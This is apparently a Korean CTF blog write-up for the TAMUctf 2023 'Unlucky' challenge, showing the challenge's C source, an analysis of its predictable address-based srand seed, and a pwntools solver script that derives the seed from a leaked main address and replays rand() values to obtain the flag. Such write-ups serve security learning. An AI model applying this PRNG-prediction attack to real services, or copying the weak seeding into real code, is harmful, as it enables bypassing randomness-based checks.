728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
static int seed = 69;
srand(&seed);
printf("Here's a lucky number: %p\n", &main);
int lol = 1;
int input = 0;
for (int i = 1; i <= 7; ++i) {
printf("Enter lucky number #%d:\n", i);
scanf("%d", &input);
if (rand() != input) {
lol = 0;
}
}
if (lol) {
char flag[64] = {0};
FILE* f = fopen("flag.txt", "r");
fread(flag, 1, sizeof(flag), f);
printf("Nice work, here's the flag: %s\n", flag);
} else {
puts("How unlucky :pensive:");
}
}
2.2. 분석
srand 함수를 &seed 를 시드 값으로 사용하며 실행한다.
이후 main 주소가 주어지고, 랜덤 값이 입력한 값과 동일하면 flag를 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
random 함수는 seed 값이 동일하면 동일한 결과를 얻는다.
3.2. 공격 준비
&seed에서 좀 속았다 -_-
이는 69가 아니라 seed 변수의 주소를 이야기 한다.
main 함수의 주소를 주는 이유가 있었다.
seed 변수는 전역변수이기 때문에 항상 같은 위치에 존재하며, main 함수로부터 offset을 통해 주소를 구할 수 있다.
이를 통해 7번의 rand 값을 입력해주면 된다.
4. exploit
from pwn import *
from ctypes import CDLL
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
p = remote("tamuctf.com", 443, ssl=True, sni="unlucky")
#p = process('./unlucky')
p.recvuntil(b': ')
seed = (int(p.recvline()[:-1],16) + 0x2ec3) & 0xffffffff
print(hex(seed))
libc.srand(seed)
for i in range(7):
rand = libc.rand()
p.sendlineafter(b':\n',str(rand))
print('rand = ',hex(rand), i+1,'done')
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
TAMUctf 2023 - Inspector Gadget (0) | 2023.05.01 |
---|---|
TAMUctf 2023 - Sea Shells (0) | 2023.05.01 |
Dreamhack CTF Season 3 Round #2 (🌱Div2) - baby-linux (0) | 2023.04.22 |
Dreamhack CTF Season 3 Round #2 (🌱Div2) - simple-operation (0) | 2023.04.22 |
Dreamhack CTF Season 3 Round #2 (🌱Div2) - awesome-basics (0) | 2023.04.22 |